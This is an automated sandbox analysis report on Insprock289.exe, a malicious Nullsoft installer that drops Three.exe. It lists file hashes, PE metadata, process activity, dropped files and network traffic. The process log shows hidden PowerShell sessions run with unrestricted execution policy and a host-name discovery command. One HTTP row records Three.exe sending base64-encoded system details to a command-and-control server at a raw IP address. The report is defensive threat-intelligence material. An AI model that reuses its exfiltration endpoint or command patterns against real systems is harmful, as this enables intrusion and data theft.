| File name: | Insprock289.exe |
| Full analysis: | https://app.any.run/tasks/c7f65e13-cbab-4630-88e9-5b41ea1742a5 |
| Verdict: | Malicious activity |
| Analysis date: | March 14, 2025, 12:50:13 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive, 5 sections |
| MD5: | 438F0C0D9F12A6D97C0DCE2190832BC0 |
| SHA1: | 316794630D95E55385EB806E8544DF718E1EABDA |
| SHA256: | 378FB3F303469B11713DDB68409900EEF42386C0B88FF6BBCB588023174507CC |
| SSDEEP: | 786432:xTOQeCGt28GR7DbkHQarIHtTdQUmdGc/BIhOd:xqQeF28GRPbkHQ9WhdGwBIhG |
| .exe | | | Win32 Executable (generic) (52.9) |
|---|---|---|
| .exe | | | Generic Win/DOS Executable (23.5) |
| .exe | | | DOS Executable Generic (23.5) |
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2018:12:15 22:26:14+00:00 |
| ImageFileCharacteristics: | No relocs, Executable, No line numbers, No symbols, 32-bit |
| PEType: | PE32 |
| LinkerVersion: | 6 |
| CodeSize: | 26624 |
| InitializedDataSize: | 473088 |
| UninitializedDataSize: | 16384 |
| EntryPoint: | 0x338f |
| OSVersion: | 4 |
| ImageVersion: | 6 |
| SubsystemVersion: | 4 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 0.7.4.0 |
| ProductVersionNumber: | 0.7.4.0 |
| FileFlagsMask: | 0x0000 |
| FileFlags: | (none) |
| FileOS: | Win32 |
| ObjectFileType: | Executable application |
| FileSubtype: | - |
| LanguageCode: | English (U.S.) |
| CharacterSet: | Windows, Latin1 |
| CompanyName: | Rack |
| FileDescription: | Leave labor wave |
| FileVersion: | 0.7.4 |
| LegalCopyright: | Copyright © 2025 Rack |
| ProductName: | Three |
| ProductVersion: | 0.7.4 |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 668 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 672 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 736 | "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1 | C:\Windows\System32\BackgroundTransferHost.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Download/Upload Host Exit code: 1 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 736 | C:\Users\admin\AppData\Local\Temp\2tzicnRZuZfCGIckIZC2YPlrndK\Three.exe | C:\Users\admin\AppData\Local\Temp\2tzicnRZuZfCGIckIZC2YPlrndK\Three.exe | Insprock289.exe | ||||||||||||
User: admin Company: Rack Integrity Level: MEDIUM Description: Leave labor wave Exit code: 134 Version: 0.7.4 Modules
| |||||||||||||||
| 1012 | C:\WINDOWS\system32\cmd.exe /d /s /c "echo %COMPUTERNAME%.%USERDNSDOMAIN%" | C:\Windows\SysWOW64\cmd.exe | — | Three.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1280 | C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | — | Three.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1568 | C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | — | Three.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2140 | C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | — | Three.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2240 | C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | — | Three.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2268 | C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | — | Three.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| (PID) Process: | (2384) BackgroundTransferHost.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\Content |
| Operation: | write | Name: | CachePrefix |
Value: | |||
| (PID) Process: | (2384) BackgroundTransferHost.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (2384) BackgroundTransferHost.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
| (PID) Process: | (6640) BackgroundTransferHost.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\Content |
| Operation: | write | Name: | CachePrefix |
Value: | |||
| (PID) Process: | (6640) BackgroundTransferHost.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (6640) BackgroundTransferHost.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
| (PID) Process: | (736) BackgroundTransferHost.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\Content |
| Operation: | write | Name: | CachePrefix |
Value: | |||
| (PID) Process: | (736) BackgroundTransferHost.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (736) BackgroundTransferHost.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
| (PID) Process: | (6112) BackgroundTransferHost.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\Content |
| Operation: | write | Name: | CachePrefix |
Value: | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 5204 | Insprock289.exe | C:\Users\admin\AppData\Local\Temp\nsfDE0E.tmp\app-32.7z | — | |
MD5:— | SHA256:— | |||
| 5204 | Insprock289.exe | C:\Users\admin\AppData\Local\Temp\nsfDE0E.tmp\7z-out\icudtl.dat | — | |
MD5:— | SHA256:— | |||
| 5204 | Insprock289.exe | C:\Users\admin\AppData\Local\Temp\nsfDE0E.tmp\7z-out\LICENSES.chromium.html | — | |
MD5:— | SHA256:— | |||
| 5204 | Insprock289.exe | C:\Users\admin\AppData\Local\Temp\nsfDE0E.tmp\nsis7z.dll | executable | |
MD5:80E44CE4895304C6A3A831310FBF8CD0 | SHA256:B393F05E8FF919EF071181050E1873C9A776E1A0AE8329AEFFF7007D0CADF592 | |||
| 5204 | Insprock289.exe | C:\Users\admin\AppData\Local\Temp\nsfDE0E.tmp\7z-out\locales\am.pak | binary | |
MD5:4CB768DDAB29DC30E3E0676E9FE403DC | SHA256:EEF0AE38C894B68003537E399C47AEA82E99586A43791C3EB53A8A4957564E8E | |||
| 5204 | Insprock289.exe | C:\Users\admin\AppData\Local\Temp\nsfDE0E.tmp\7z-out\chrome_100_percent.pak | binary | |
MD5:001AA2A7D5DCAF2D0987804A37E21DB9 | SHA256:0B84B7680630DD51CB36A2FCDD7CC3B031636FE6B91F81772822BE9E514132FE | |||
| 5204 | Insprock289.exe | C:\Users\admin\AppData\Local\Temp\nsfDE0E.tmp\7z-out\chrome_200_percent.pak | binary | |
MD5:749E5FF4A826E7FFE8421634520B7E61 | SHA256:8E2AFD2AD5BD4F4EDFE739AD503FF6896410D097665D40E99C56C440A8EBC36E | |||
| 5204 | Insprock289.exe | C:\Users\admin\AppData\Local\Temp\nsfDE0E.tmp\System.dll | executable | |
MD5:0D7AD4F45DC6F5AA87F606D0331C6901 | SHA256:3EB38AE99653A7DBC724132EE240F6E5C4AF4BFE7C01D31D23FAF373F9F2EACA | |||
| 5204 | Insprock289.exe | C:\Users\admin\AppData\Local\Temp\nsfDE0E.tmp\7z-out\locales\bn.pak | binary | |
MD5:0BB8E336602F7E8A70F6EB3EAA7931A6 | SHA256:C951C3C7E565C6ECA836DD815FF92F92BC9931C400A56EE4C45E4DBCED547153 | |||
| 5204 | Insprock289.exe | C:\Users\admin\AppData\Local\Temp\nsfDE0E.tmp\7z-out\locales\af.pak | binary | |
MD5:734923E7E3B505564F4A2D01AD1CFED9 | SHA256:8E6AF9FA4332E027ED629EBCAC60630294E23738706FF35E77432A8CA1304F50 | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
5496 | MoUsoCoreWorker.exe | GET | 200 | 23.48.23.183:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
2104 | svchost.exe | GET | 200 | 23.48.23.183:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
6640 | BackgroundTransferHost.exe | GET | 200 | 184.30.131.245:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D | unknown | — | — | whitelisted |
— | — | GET | 200 | 184.30.131.245:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
4740 | backgroundTaskHost.exe | GET | 200 | 184.30.131.245:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D | unknown | — | — | whitelisted |
6228 | SIHClient.exe | GET | 200 | 23.222.82.102:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
6228 | SIHClient.exe | GET | 200 | 23.222.82.102:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
736 | Three.exe | GET | 200 | 217.197.107.91:80 | http://217.197.107.91/login.php?event=init&id=dGVzdA==&data=&data=NCBHQl9bb2JqZWN0IE9iamVjdF1fTWljcm9zb2Z0IEJhc2ljIERpc3BsYXkgQWRhcHRlcl9mYWxzZV91bmRlZmluZWR4NzIwX1dpbmRvd3MgMTAgRW50ZXJwcmlzZV8xOSBtaW51dGVzICgwLjMyIGhvdXJzKV9DOlxVc2Vyc1xhZG1pbl9ERVNLVE9QLUpHTExKTERfYWRtaW5fV2luZG93c19OVF9pYTMyXzEwLjAuMTkwNDVfQzpcVXNlcnNcYWRtaW5cQXBwRGF0YVxSb2FtaW5nX0M6XFVzZXJzXGFkbWluXEFwcERhdGFcTG9jYWxcVGVtcF9ERVNLVE9QLUpHTExKTERfX0FNRDY0IEZhbWlseSA2IE1vZGVsIDE0IFN0ZXBwaW5nIDMsIEF1dGhlbnRpY0FNRF94ODZfQzpfNF9DOlxVc2Vyc1xhZG1pblxBcHBEYXRhXExvY2FsXFRlbXBcMnR6aWNuUlp1WmZDR0lja0laQzJZUGxuZEtcVGhyZWUuZXhl | unknown | — | — | unknown |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
— | — | 192.168.100.255:138 | — | — | — | whitelisted |
5496 | MoUsoCoreWorker.exe | 23.48.23.183:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
2104 | svchost.exe | 23.48.23.183:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
6544 | svchost.exe | 20.190.160.67:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
— | — | 40.113.110.67:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
— | — | 184.30.131.245:80 | ocsp.digicert.com | AKAMAI-AS | US | whitelisted |
— | — | 20.190.160.67:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
3216 | svchost.exe | 40.113.110.67:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
4740 | backgroundTaskHost.exe | 20.31.169.57:443 | arc.msn.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
Domain | IP | Reputation |
|---|---|---|
google.com |
| whitelisted |
settings-win.data.microsoft.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
login.live.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
arc.msn.com |
| whitelisted |
www.bing.com |
| whitelisted |
www.google.com |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |